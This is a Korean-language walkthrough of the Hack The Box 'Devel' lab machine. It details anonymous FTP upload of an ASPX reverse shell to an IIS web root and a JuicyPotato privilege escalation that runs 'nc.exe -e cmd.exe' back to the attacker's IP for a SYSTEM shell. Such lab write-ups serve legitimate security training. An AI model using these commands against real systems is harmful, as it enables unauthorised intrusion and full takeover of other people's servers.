HTB Devel
Recon
PortScan
발급받은 머신을 대상으로 포트를 스캔하면 21/tcp
, 80/tcp
가 오픈되어있는것으로 확인할 수 있으며, OS는 Windows 시스템으로 확인되고 FTP가 익명으로 접근이 가능한 것을 확인할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-08 10:21 KST
Nmap scan report for 10.129.71.2
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 01:06AM <DIR> aspnet_client
| 03-17-17 04:37PM 689 iisstart.htm
|_03-17-17 04:37PM 184946 welcome.png
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 7.5
|_http-title: IIS7
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
|_ Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.67 seconds
FTP
포트 스캔 결과에서 FTP 익명 로그인이 가능한것으로 확인되어 FTP 접근 시 아래와 같은 파일을 확인할 수 있다.
1
2
3
4
ftp> ls
03-18-17 01:06AM <DIR> aspnet_client
03-17-17 04:37PM 689 iisstart.htm
03-17-17 04:37PM 184946 welcome.png
구조를 보니 FTP 경로가 IIS 웹루트 경로인것으로 예상되어 FTP에 테스트 파일을 업로드 후 포트 스캔으로 확인할 수 있었던 웹 서비스로 접근을 시도해보는 테스트를해보니 웹루트 디렉터리가 맞는것으로 확인된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[~/Desktop/Devel]
└─# echo "juicemon test" > juicemon.html
┌──(root㉿kali)-[~/Desktop/Devel]
└─# ftp 10.129.211.55
ftp> put juicemon.html
ftp> ls
03-18-17 01:06AM <DIR> aspnet_client
03-17-17 04:37PM 689 iisstart.htm
11-08-23 07:27AM 15 juicemon.html
03-17-17 04:37PM 184946 welcome.png
┌──(root㉿kali)-[~/Desktop/Devel]
└─# curl http://10.129.211.55/juicemon.html
juicemon test
Foothold
위에서 포트 스캔을 통해 익명 FTP 연결이 가능한 것으로 파악되었고, 연결된 FTP 디렉터리는 IIS 웹 루트 디렉터리로 확인되었다.
Reverse Shell (aspx)
FTP에 aspnet_client
의 존재를 확인하여 ASP가 동작 가능할것으로 예상해 리버스 쉘을 실행하는 aspx 코드를 생성하여 FTP에 업로드해본다.
먼저 github에서 확인할 수 있는 aspx 리버스 쉘 코드를 다운로드 후 shell.aspx
파일 내 호스트와 포트 변수를 공격자 IP와 리스닝 포트로 수정한다.
1
2
3
4
5
6
7
8
9
10
11
12
...
...
...
protected void Page_Load(object sender, EventArgs e){
String host = "10.10.14.55"; //CHANGE THIS
int port = 30000; ////CHANGE THIS
CallbackShell(host, port);
}
...
...
...
이후 FTP에 업로드 후 30000포트를 리스닝한다.
1
2
3
4
5
6
7
┌──(root㉿kali)-[~/Desktop/Devel]
└─# ftp 10.129.211.55
ftp> put shell.aspx
┌──(root㉿kali)-[~/Desktop/Devel]
└─# nc -lvnp 30000
listening on [any] 30000 ...
이후 업로드한 리버스 쉘 코드를 실행하기위해 curl 요청을 진행한다.
1
2
┌──(root㉿kali)-[~/Desktop/Devel]
└─# curl http://10.129.211.55/shell.aspx
리버스 쉘이 실행되면서 공격자 리스닝 포트로 쉘이 떨어지는것을 확인할 수 있다.
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/Desktop/Devel]
└─# nc -lvnp 30000
listening on [any] 30000 ...
connect to [10.10.14.55] from (UNKNOWN) [10.129.211.55] 49170
Spawn Shell...
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>whoami
iis apppool\web
User
System
위에서 FTP에 리버스 쉘 코드를 업로드 후 웹에서 쉘을 트리거하여 리버스 커넥션 쉘을 획득할 수 있었다.
이후 접근된 계정을 확인했을 때 iis apppool\web
서비스 계정으로 확인되었다.
해당 계정에서 권한을 확인 시 SeImpersonatePrivilege
권한이 활성화 된것으로 확인된다.
해당 권한을 이용하여 모든 프로세스를 처리할 수 있는 토큰을 가장할 수 있지만, 토큰을 생성할 수는 없다. Windows 서비스에서 권한 있는 토큰을 얻어 NTLM 인증을 수행한 다음 SYSTEM 으로 프로세스를 실행할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
c:\windows\system32\inetsrv> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeShutdownPrivilege Shut down the system Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Juicy Potato
위에서 얘기한 SeImpersonatePrivilege
권한을 악용하는 Potato 중 하나인 JuicyPotato를 사용하여 권한 상승을 시도한다.
먼저 Juicy Potato 레포지토리 릴리즈에서 확인되는 빌드 파일을 다운로드하여 대상 시스템에 업로드할 수 있도록 SMB Server를 실행한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[~/Desktop/Devel]
└─# wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
┌──(root㉿kali)-[~/Desktop/Devel]
└─# impacket-smbserver share . -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
이후 리버스 쉘을 통해 공격자 SMB 서버에 연결 후 JuicyPotato.exe
와 nc.exe
를 다운로드한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
c:\windows\system32\inetsrv>cd C:\Windows\Temp
cd C:\Windows\Temp
C:\Windows\Temp>net use \\10.10.14.55\share
net use \\10.10.14.55\share
The command completed successfully.
C:\Windows\Temp>copy \\10.10.14.55\share\JuicyPotato.exe .\JuicyPotato.exe
copy \\10.10.14.55\share\JuicyPotato.exe .\JuicyPotato.exe
1 file(s) copied.
C:\Windows\Temp>copy \\10.10.14.55\share\nc.exe .\nc.exe
copy \\10.10.14.55\share\nc.exe .\nc.exe
1 file(s) copied.
업로드한 파일이 정상적으로 실행되는지 확인하니 실행이 불가능했고, systeminfo
를 통해 확인 결과 x86 시스템으로 확인되었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
C:\Windows\Temp>.\JuicyPotato.exe
.\JuicyPotato.exe
This version of C:\Windows\Temp\JuicyPotato.exe is not compatible with the version of Windows you're running. Check your computer's system information to see whether you need a x86 (32-bit) or x64 (64-bit) version of the program, and then contact the software publisher.
C:\Windows\Temp> systeminfo
systeminfo
Host Name: DEVEL
OS Name: Microsoft Windows 7 Enterprise
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: babis
Registered Organization:
Product ID: 55041-051-0948536-86302
Original Install Date: 17/3/2017, 4:17:31
System Boot Time: 8/11/2023, 7:11:35
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
조금 찾아보니 x86 시스템을 위한 JuicyPotato 빌드인 Juicy.Potato.x86.exe를 확인할 수 있었다.
다시 x86 JuicyPotato를 업로드하여 실행하니 이번엔 정상적으로 실행이 가능하였다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
C:\Windows\Temp>copy \\10.10.14.55\share\Juicy.Potato.x86.exe .\Juicy.Potato.x86.exe
copy \\10.10.14.55\share\Juicy.Potato.x86.exe .\Juicy.Potato.x86.exe
1 file(s) copied.
C:\Windows\Temp>.\Juicy.Potato.x86.exe
.\Juicy.Potato.x86.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z only test CLSID and print token's user
https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_7_Enterprise 를 참고하여 Windows7의 CLSID를 확인 후 그 중 하나인 6d18ad12-bde3-4393-b311-099c346e6df9
를 사용하여 높은 권한으로 업로드한 nc.exe를 높은 권한으로 실행하면서 공격자 IP로 쉘을 전달한다.
1
2
3
4
5
6
7
C:\Windows\Temp>Juicy.Potato.x86.exe -l 9000 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.55 30001" -t * -c {6d18ad12-bde3-4393-b311-099c346e6df9}
Testing {6d18ad12-bde3-4393-b311-099c346e6df9} 9000
......
[+] authresult 0
{6d18ad12-bde3-4393-b311-099c346e6df9};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
권한 상승이 정상적으로 동작하고 상승한 권한으로 nc를 실행하여 공격자에게 cmd 쉘을 전달하여 system 권한의 쉘을 획득할 수 있다.
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/Desktop/Devel]
└─# nc -lvnp 30001
listening on [any] 30001 ...
connect to [10.10.14.55] from (UNKNOWN) [10.129.211.55] 49203
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system